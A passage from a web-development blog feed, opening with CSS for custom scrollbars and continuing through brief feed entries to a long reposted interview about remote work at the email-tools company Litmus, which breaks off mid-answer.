&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;background&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token hexcode color"&gt;#CCF6ED&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;border-radius&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;4&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;height&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;8&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;width&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;8&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;&lt;span class="token pseudo-element"&gt;::-webkit-scrollbar-thumb&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;background&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token hexcode color"&gt;#21BB9A&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;border-radius&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;4&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check jsfiddle demo with green-ish scrollbars &lt;i&gt;webkit only&lt;/i&gt;.&lt;/p&gt;

&lt;h3 id="custom-javascript-plugin-using-native-scroll"&gt;Custom JavaScript plugin, using native scroll &lt;a class="anchor-link" href="#custom-javascript-plugin-using-native-scroll"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This one I wrote years ago, and it is fully supporting IE8. It needs some love,
as it should updated with I have learned since then.&lt;/p&gt;
&lt;p&gt;Using browser native scroll so it is smooth as you can get.
Scrollbars are customizable via CSS.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Demo - Custom scroll bars using javascript plugin" height="862" src="./rocket-scroll.png" width="1344" /&gt;&lt;/figure&gt;
&lt;p&gt;Check the &lt;a href="https://muffinman.io/rocketScroll/"&gt;demo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Grab the code on &lt;a href="https://github.com/Stanko/rocketScroll"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="css-solution-all-browsers"&gt;CSS solution, all browsers &lt;a class="anchor-link" href="#css-solution-all-browsers"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Idea - Show scrollbars only on mouse hover.&lt;/li&gt;
&lt;li&gt;Problem - content will be shrunk for the width of the scrollbar on hover, and jump.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are going to exploit the fast that all of the browsers have sub 20px wide scrollbar.
This demo is using two divs, outer one which will be scrolled, and content wrapped in the inner one.
Just put &lt;code&gt;overflow: hidden&lt;/code&gt; on the outer div, and on mouse hover, switch to &lt;code&gt;overflow: scroll&lt;/code&gt;
Having inner div smaller for 20px, you will be able to create enough
space for the scroll bar, and content won&amp;#x27;t jump around.&lt;/p&gt;
&lt;p&gt;We&amp;#x27;ll use media query &lt;code&gt;@media (hover: hover)&lt;/code&gt; to detect if user&amp;#x27;s input mechanism
That&amp;#x27;s why we are using &lt;code&gt;overflow-y: scroll&lt;/code&gt; by default.
Scrolling on touch devices is already nice and smooth.&lt;/p&gt;
&lt;pre class="language-css"&gt;&lt;code class="language-css code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;&lt;span class="token class"&gt;.scroll-y&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;width&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;300&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;height&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;300&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;/* By default the element should scroll, not to mess up with mobile devices */&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;overflow-y&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; auto&lt;span class="token punctuation"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;&lt;span class="token class"&gt;.scroll-y-content&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;padding&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;20&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt; &lt;span class="token number"&gt;0&lt;/span&gt; &lt;span class="token number"&gt;20&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt; &lt;span class="token number"&gt;20&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;width&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;280&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;/* 20px less than parent width */&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;/* Hide the scrollbar only on devices that support hover */&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token atrule"&gt;&lt;span class="token rule"&gt;@media&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token property"&gt;hover&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; hover&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token selector"&gt;&lt;span class="token class"&gt;.scroll-y&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;overflow-y&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; hidden&lt;span class="token punctuation"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;/* And show them on hover */&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;&lt;span class="token class"&gt;.scroll-y&lt;/span&gt;&lt;span class="token pseudo-class"&gt;:hover&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;overflow-y&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; auto&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check demo on CodePen.&lt;/p&gt;
&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 21 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/custom-scroll-bars/</guid></item><item><title>[Computing] Let's Encrypt for IRC Networks: A Deployment Guide</title><link>https://www.devever.net/~hl/acmeirc</link><description>&lt;p&gt;&lt;em&gt;I wrote this as a rough draft a while ago and forgot to publish it. I'm
publishing it as is in the hope that it will be of use to IRC networks which
would like to take advantage of Let's Encrypt.&lt;/em&gt;&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Mon, 21 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/acmeirc</guid></item><item><title>Affine coordinates in Ao</title><link>https://mattkeeter.com/blog/2016-03-20-affine</link><description/><author>Matt Keeter</author><pubDate>Sun, 20 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/blog/2016-03-20-affine</guid></item><item><title>Just finished the Hartl tutorial and wondering what's next?</title><link>https://goshacmd.com/finished-hartl-tutorial-whats-next/</link><author>Gosha Spark</author><pubDate>Sun, 20 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/finished-hartl-tutorial-whats-next/</guid></item><item><title>Ao</title><link>https://mattkeeter.com/projects/ao</link><description>Homoiconic f-rep kernel</description><author>Matt Keeter</author><pubDate>Sat, 19 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/ao</guid></item><item><title>2016-03-19</title><link>https://ho.dges.online/pictures/2016-03-19/</link><description>&lt;p&gt;Maximum smile. Minimum teeth.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 19 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-03-19/</guid></item><item><title>Links - March 17th, 2016</title><link>https://faingezicht.com/links/2016/03/17/links/</link><description/><author>Avy Faingezicht</author><pubDate>Thu, 17 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/17/links/</guid></item><item><title>Weekend Panoramas</title><link>https://rjp.is/blogging/posts/weekend-wandering-panoramas-2/</link><description>Some panoramas from my weekend wandering.</description><author>infrequent oscillations</author><pubDate>Wed, 16 Mar 2016 13:52:00 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/weekend-wandering-panoramas-2/</guid></item><item><title>About working remotely at Litmus with Pajamas.io</title><link>https://josh.works/my-interview-with-pajamasio</link><description>&lt;p&gt;&lt;em&gt;A while back, I wrote a long interview for
&lt;a href="http://pajamas.io/josh-thompson-litmus/"&gt;Pajamas.io&lt;/a&gt;, a publication around remote work. I’ve pasted the entire article here below.&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;When Josh Thompson wanted to move out to rural Colorado with his family to be closer to the mountains he loves to climb, he knew finding a company that allowed him to work remotely would best suit his desired lifestyle. Luckily, Thompson found
&lt;a href="https://litmus.com/"&gt;Litmus&lt;/a&gt;, a Cambridge, MA-based email marketing tools company that operates at least 50% distributed.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thompson talks about the advantages of remote work for Litmus, how the company keeps everyone in sync, and why remote work works so well for him in the interview below.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id="what-does-litmus-do-and-what-is-your-role-there"&gt;What does Litmus do and what is your role there?&lt;/h4&gt;

&lt;p&gt;Litmus is a software company and we build tools to help our customers build, test, and track emails so our that person can spend less time building emails (it’s a surprisingly difficult thing to do well) and build better, more effective emails and campaigns. Our platform and analytics are used (via API) by notable companies like MailChimp, Campaign Monitor, Return Path, and many more.&lt;/p&gt;

&lt;p&gt;I’m on the customer success team, so I handle inbound sales for our API, and handle all the renewals related to our annual accounts. Stuff moves fast at Litmus, so my job has (and will continue to) evolve, but that’s the simplest definition.&lt;/p&gt;

&lt;h4 id="how-many-people-are-at-the-company-now-and-how-spread-out-are-you"&gt;How many people are at the company now and how spread out are you?&lt;/h4&gt;

&lt;p&gt;About 42. Maybe 44? We hired four people in the last week, I think. &lt;a href="https://litmus.com/careers"&gt;And we’re still hiring&lt;/a&gt; - ping me if you’re interested in applying. We’re always on the hunt for great people, even if there is not currently an open role. Oh, and we’re a
&lt;a href="https://litmus.com/blog/were-a-2014-best-places-to-work-winner"&gt;2014 Best Place to Work winner&lt;/a&gt;. ;)&lt;/p&gt;

&lt;p&gt;Most of the remote employees are spread across the US, with another group spread across the UK, and individuals also in Canada, Ecuador, and Pakistan (one of our designers - he’s top notch).&lt;/p&gt;

&lt;h4 id="what-initially-drew-you-to-remote-work"&gt;What initially drew you to remote work?&lt;/h4&gt;

&lt;p&gt;Location independence. I started looking while living inside the DC beltway with an hour commute each way. I wanted to move to Colorado, and knew that remote work was the best way to make that happen. So I started looking for any and all remote job opportunities, and am thrilled to have found Litmus.&lt;/p&gt;

&lt;h4 id="how-does-litmus-keep-the-50-of-the-company-thats-remote-feeling-connected"&gt;How does Litmus keep the ~50% of the company that’s remote feeling connected?&lt;/h4&gt;

&lt;p&gt;Many things, but here are a few of the big ones:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;All company communication is in &lt;a href="https://slack.com/"&gt;Slack&lt;/a&gt;, &lt;a href="https://basecamp.com/"&gt;Basecamp&lt;/a&gt;, &lt;a href="https://trello.com/"&gt;Trello&lt;/a&gt;, &lt;a href="http://bluejeans.com/"&gt;Bluejeans&lt;/a&gt;, etc. Even the Boston office is often mostly empty, because so many staff work from home, so the default communication style assumes everyone is remote.&lt;/li&gt;
  &lt;li&gt;At least twice-a-year company meet-ups. We host an annual “Email Design Conference” in August, and an annual company meetup/retreat in March. Occasional smaller get-togethers sprinkled in, and I usually see at least a few people that I work with every three months.&lt;/li&gt;
  &lt;li&gt;Big company events often take place in giant video calls. Every potential hire does a “meet the team” call, where we bring them into the Boston office for a day (even if they’re flying in from quite far away) and then the entire company can jump on a video call with them. Our twice-a-month company meetings usually take place with everyone in front of their computer, even for the folks in the Boston office.&lt;/li&gt;
  &lt;li&gt;The company was founded with remote work in it’s blood. Two of the three cofounders moved from London to Boston ten years ago to grow the business, so before they’d hired even two people, half the company was remote.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="the-office-in-cambridge-ma-sounds-like-an-awesome-place--catered-lunch-and-free-snacks-weekly-happy-hour-regular-parties-and-outings-is-there-anything-that-litmus-does-to-make-the-remote-members-of-the-team-feel-more-included-how-do-you-avoid-creating-a-two-tiered-culture-on-the-team-where-remote-folks-feel-separate-from-their-in-office-colleagues"&gt;The office in Cambridge, MA sounds like an awesome place – catered lunch and free snacks, weekly happy hour, regular parties and outings, is there anything that Litmus does to make the remote members of the team feel more included? How do you avoid creating a “two-tiered” culture on the team where remote folks feel separate from their in-office colleagues?&lt;/h4&gt;

&lt;p&gt;The office is pretty sweet, but even the staff in Boston often work from home. As you can imagine, traffic (even in good weather) is terrible, so there is a blanket “work from home whenever you want, but try to make it in every other thursday for company meetings if you can” policy. I.e., even us remote staff are usually in the exact same bucket as the non-remote staff.&lt;/p&gt;

&lt;p&gt;Also, we don’t have an open-office floor plan. Most employees have their own office, or share it with one other person. This further ingrains the text-based communication.&lt;/p&gt;

&lt;p&gt;Litmus goes all-out to make sure the remote staff have the same tools as in-office. Every employee gets top-of-line hardware, external monitors, and a good desk chair (if they don’t already have one.)&lt;/p&gt;

&lt;p&gt;I’ll admit, sometimes I wish I could participate in some of the parties they throw in the office, but after I take my five-second commute to the other side of my living room, and grab my gear to head out rock climbing in Colorado, I don’t miss being in Boston too bad.&lt;/p&gt;

&lt;h4 id="how-would-describe-the-company-culture-at-litmus-is-it-harder-to-build-cohesive-culture-when-half-the-company-is-spread-out-and-the-other-half-is-in-one-place"&gt;How would describe the company culture at Litmus? Is it harder to build cohesive culture when half the company is spread out and the other half is in one place?&lt;/h4&gt;

&lt;p&gt;Culture is extremely inclusive. We’re growing quickly, so those questions will inevitably stay top of mind, but again, because the remote work policy is so ingrained even in the home office, we are all functionally working remotely. (Some days there are only two or three people in the office. Last winter, there would be weeks where NO one made it into the office!)&lt;/p&gt;

&lt;p&gt;As far as cohesive culture, I think the average age at Litmus skews a bit older than what may be assumed for a software company (plenty of our employees have kids) so there’s not much of a “go-out-for-drinks-after-work” attitude, anyway. (Except when the whole company is together in Boston for our conference. That week has much more drinking than normal.)&lt;/p&gt;

&lt;p&gt;We all live balanced lives, so when we’re at work we work hard to get shit done, but then we go home and do other stuff. It’s very professional, and very friendly.&lt;/p&gt;

&lt;h4 id="do-you-ever-feel-like-you-lose-something-because-youre-not-working-in-the-office-every-day"&gt;Do you ever feel like you lose something because you’re not working in the office every day?&lt;/h4&gt;

&lt;p&gt;I’ve lost my commute, and I do really enjoy the casual conversation that happens around lunch or when walking around the office, but I don’t think I’m missing anything irreplaceable, or that cannot be had in a remote work situation.&lt;/p&gt;

&lt;h4 id="personally-what-are-the-biggest-challenges-you-face-working-remotely-and-how-do-you-overcome-them"&gt;Personally, what are the biggest challenges you face working remotely and how do you overcome them?&lt;/h4&gt;

&lt;p&gt;There are certainly challenges.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I thrive off of external affirmation, and I love being able to show how hard I work. In an office you can be the first one in and last one out, but, besides not being healthy, that doesn’t actually correlate with getting work done. So, because I can’t telegraph how hard I work, I have to show how much I get done, but sometimes (often!) I don’t feel like I’ve gotten as much done as I had hoped. Projects grow in complexity, or I’ll have spent half the day on the phone. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, I’ve had to set up fairly regular official performance evaluations with my manager, just so I convince myself that I’m actually doing good work. So far, all those reviews have been extremely positive, but I always have a sneaking suspicion that I’m failing somehow. This is specific to me and my disposition, so everyone reading this is either nodding along in understanding, or cannot understand this at all.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;I don’t have external signals/environments that signify “work time.” I have to rigorously control my work environment so I can get in the zone and work well. I use a mix of writing down my projects for the day (and the things I’ve accomplished) to keep me on task, using a Pomodoro app to work in chunks, and sometimes
&lt;a href="http://selfcontrolapp.com/"&gt;SelfControl&lt;/a&gt; to kill Reddit/Hacker News/Twitter to help avoid those distractions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I don’t have those signals that signify “not working.” I don’t have a commute home to think about work or other things. I just type in Slack “heading out, have a good night.” and… work is done. Sometimes I’ll take a walk, but sometimes I just try to jump right into prepping dinner or doing non-work stuff. If work was stressful, this stress carries over to home. My wife is really good at identifying if I’m a little off and helping me decompress.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="on-the-other-hand-what-are-the-biggest-benefits-to-working-remotely"&gt;On the other hand, what are the biggest benefits to working remotely?&lt;/h4&gt;

&lt;p&gt;Phew. So many.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I don’t commute anymore. There’s two hours a day back. (And a lot of gas and money in maintenance.) I was stuck in traffic earlier today (on a weekend) and was so frustrated by it. I don’t ever have to deal with rush hour.&lt;/li&gt;
  &lt;li&gt;My wife and I now own only one car. That saves a lot of money.&lt;/li&gt;
  &lt;li&gt;We moved to Colorado. I loved every minute in Colorado.&lt;/li&gt;
  &lt;li&gt;Our landlord wanted to move into our apartment, so we had to leave, and my wife stopped teaching, so we headed to Buenos Aires for two months, then have been traveling around the east coast, following the climbing, and spending time with dear friends. &lt;/li&gt;
  &lt;li&gt;We spent three weeks working in rural West Virginia, and I’d enjoy world-class climbing after work and on the weekends. I’m about to drive to Kentucky for more world-class climbing for three weeks. I used to drive between six and eight hours on the weekend to do this. Now I just drive 3 minutes to the rock. Rent is cheap out in the boonies, too.&lt;/li&gt;
  &lt;li&gt;My work is made more effective. Without all the office politics and micromanaging that infects most offices, I have tons of responsibility and freedom to do the best job I know how to do, and to experiment
a lot with how to make things even better. This speaks as much of working remotely as it does of the specific culture of the leadership team at Litmus, but they go hand-in-hand. If you cannot trust your staff to work remotely, you won’t trust them in an office either. If you can trust them to work remotely, you’ll trust them to do good work without you breathing down their neck.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="what-do-you-think-is-the-most-important-thing-a-distributed-team-can-do-to-ensure-successful-collaboration"&gt;What do you think is the most important thing a distributed team can do to ensure successful collaboration?&lt;/h4&gt;

&lt;p&gt;I love meeting the team in person (or, when we add someone to the team, I’ll catch them on a video call for 20 or 30 mins just to talk and get to know each other). Knowing the personality and lives behind that little profile picture on Slack makes the communication so much richer. We all have inside jokes, memes, and a rich history of communication that makes the more context-free text-based communication work.&lt;/p&gt;

&lt;p&gt;So, time in person is even more important when you work remotely. I think. But I’m not wise enough to know The One Thing (TM) that matters.&lt;/p&gt;

&lt;h4 id="what-are-some-of-the-benchmarks-litmus-uses-to-make-sure-the-team-is-in-a-good-place-both-mentally-and-operationally"&gt;What are some of the benchmarks Litmus uses to make sure the team is in a good place, both mentally and operationally?&lt;/h4&gt;

&lt;p&gt;I meet weekly with my manager to make sure I’ve got all the tools and resources I need for whatever projects I’m working on.&lt;/p&gt;

&lt;p&gt;We have flexible work hours, and generous paid time off policies. (If we went with “unlimited” vacation time, no one would take enough time off, so instead we get about six weeks paid vacation off a year, and it doesn’t roll over, so you have to use it.)&lt;/p&gt;

&lt;p&gt;Every new employee gets new top-of-line hardware, monitor, peripherals, and anything else we might need. We all have company cards that we’re encouraged to use as needed. I’m not hampered by a lack of tools or equipment or rest at all.&lt;/p&gt;

&lt;h4 id="are-there-any-specific-qualities-that-make-someone-more-successful-at-working-remotely"&gt;Are there any specific qualities that make someone more successful at working remotely?&lt;/h4&gt;

&lt;p&gt;The same qualities that make someone successful in an office apply to working remotely. You’ll need to be a “self-starter,” and have a lot of initiative. I think a good proxy for both of these traits is side-projects, or side-hustles. If two people are equally qualified for a role, but one of them has a good side project/hobby that they’re passionate about, they will get the job. The primary reason I got my current job was because I had side projects (aka “public proof”) that demonstrated my drive and initiative.&lt;/p&gt;

&lt;p&gt;I don’t have someone breathing down my neck to get work done, so for better or worse, I alone am responsible for the work that I do.&lt;/p&gt;

&lt;p&gt;PS: I know it can be discouraging to read something like that, so if you just said to yourself “well, of course its easy to get a job with a cool side project” here are two “words of encouragement:”&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Your side projects do not need to be beautiful and graceful. Some of my side projects are ugly as sin:
&lt;a href="http://joshworks.site44.com/"&gt;http://joshworks.site44.com/&lt;/a&gt;, others less so: 
&lt;a href="http://climbingweekly.co/"&gt;http://climbingweekly.co/&lt;/a&gt;, 
&lt;a href="http://josh.works/"&gt;http://josh.works/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You don’t have to have a side project to have a side project. Just say “My hobby is finding a hobby” and start documenting your search for something worthy of your time and energy. For example, mine could be: &lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Josh’s Quest for a Side Project: How I found something interesting to work on&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Or&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Josh’s Epic Quest&lt;/em&gt; 
See &lt;a href="http://www.nerdfitness.com/epic-quest/"&gt;Steve’s Epic Quest&lt;/a&gt; or Jia Jiang’s &lt;a href="http://fearbuster.com/100-days-of-rejection-therapy/"&gt;100 Days of Rejection&lt;/a&gt; for inspiration.&lt;/p&gt;

&lt;h4 id="describe-your-personal-work-environment"&gt;Describe your personal work environment.&lt;/h4&gt;

&lt;p&gt;In flux lately. For most of my time at Litmus I worked from a standing desk in my living room. I had an Apple Monitor, laptop stand, comfortable chair, etc. My wife and I have been “nomadding” these last few months, living out of our car, a few weeks at a time in a different place. So currently I’m down to just my laptop, no mouse, no external display, etc. I was on an ultra-minimalist kick for a while, but I think I’m ready to reintroduce a mouse and external keyboard into my life.&lt;/p&gt;

&lt;p&gt;That’s the physical environment. Anytime I open my computer, I feel very at home. I have my machine quite configured to my liking, and I work well on it.&lt;/p&gt;

&lt;p&gt;Here’s some key tools that make MY machine feel like home, and allow me to work in really any environment.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://supportops.co/starting-with-text-expander/"&gt;TextExpander&lt;/a&gt; (Stop typing the same thing over and over. I’ve used it over 30,000 times in the last 18 months.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.maketecheasier.com/alfred-workflows-mac/"&gt;Alfred&lt;/a&gt; (Workflows are addicting. My dashboard tells my I use it on average 50 times a day!)&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://chrisltd.com/blog/2015/03/caps-lock-to-backspace-mac/"&gt;Seil&lt;/a&gt; (To remap CAPS LOCK KEY to delete.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://justgetflux.com/"&gt;Flux&lt;/a&gt; (Save your eyes when in a dark room/late at night/early in AM.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://lifehacker.com/pomodoro-one-is-a-free-lightweight-pomodoro-timer-for-1626504270"&gt;PomodoroOne&lt;/a&gt; (Do more in bursts.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://toggl.com/"&gt;Toggl&lt;/a&gt; (Figure out how you spend your day.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.rescuetime.com/"&gt;RescueTime&lt;/a&gt; (Track how much time you spend on “productive” parts of the web vs. unproductive.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://agilebits.com/onepassword"&gt;1Password&lt;/a&gt; (Save time, be more secure online.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.macbartender.com/"&gt;Bartender&lt;/a&gt; (Have a clean menu bar.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.getcloudapp.com/"&gt;CloudApp&lt;/a&gt; (Share stuff easily.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://evernote.com/skitch/"&gt;Skitch&lt;/a&gt; (Take and annotate screenshots.)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.privateinternetaccess.com/"&gt;PIA&lt;/a&gt; (VPN, quite cheap for a year. Make you/your company safe when using public wifi.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="how-do-you-manage-worklife-balance-when-working-from-your-home"&gt;How do you manage work/life balance when working from your home?&lt;/h4&gt;

&lt;p&gt;Sometimes I manage it poorly. It’s easy to spend all day working, but when you do that, your efficiency goes way down. It’s hard for me to sometimes keep work to JUST those “normal” work hours, but it’s important for my own health and recovery to do so. My wife is really good at helping me see when I’m working too much.&lt;/p&gt;

&lt;p&gt;I am a very active rock climber, and usually climbing helps me balance my work. If I have told a friend I’ll meet him at a certain time at a certain place, I have a hard stop on my work, so it forces me to be extra efficient so I can stop at the appropriate time.&lt;/p&gt;

&lt;h4 id="how-do-you-keep-distractions-to-a-minimum-how-do-you-personally-measure-efficiency"&gt;How do you keep distractions to a minimum? How do you personally measure efficiency?&lt;/h4&gt;

&lt;p&gt;I do a few things to stay focused. The easiest is to work in blocks. I love the Pomodoro technique, and try to fit my work into those 25 mins work/5 mins rest cycles. Invariably, something “breaks” the cycle, but a lot of work gets done in a few of those.&lt;/p&gt;

&lt;p&gt;If I’m finding myself procrastinating, that’s usually an indicator that I need to break the work into smaller pieces. Large tasks are overwhelming, but less so when broken into small pieces.&lt;/p&gt;

&lt;p&gt;I usually start my day with a notebook and a few minutes of thinking about what I want to accomplish for the day. I’ll then gear the pomodoros towards accomplishing those goals.&lt;/p&gt;

&lt;h4 id="what-are-some-of-the-tools-you-couldnt-live-without-as-a-remote-company"&gt;What are some of the tools you couldn’t live without as a remote company?&lt;/h4&gt;

&lt;p&gt;Slack. Bluejeans/some sort of video calling tool. Basecamp, Trello, &lt;a href="https://www.google.com/"&gt;Google&lt;/a&gt;, &lt;a href="https://github.com/"&gt;Github&lt;/a&gt;. Two factor authentication.&lt;/p&gt;

&lt;h4 id="what-advice-would-you-give-to-a-company-heading-down-the-remote-working-path"&gt;What advice would you give to a company heading down the remote working path?&lt;/h4&gt;

&lt;p&gt;If you’re thinking about “testing the waters”, you need to give it a fair shake. “Test” for a long time, and with all your employees. At least a month or two to iron out kinks, and plan on spending money.&lt;/p&gt;

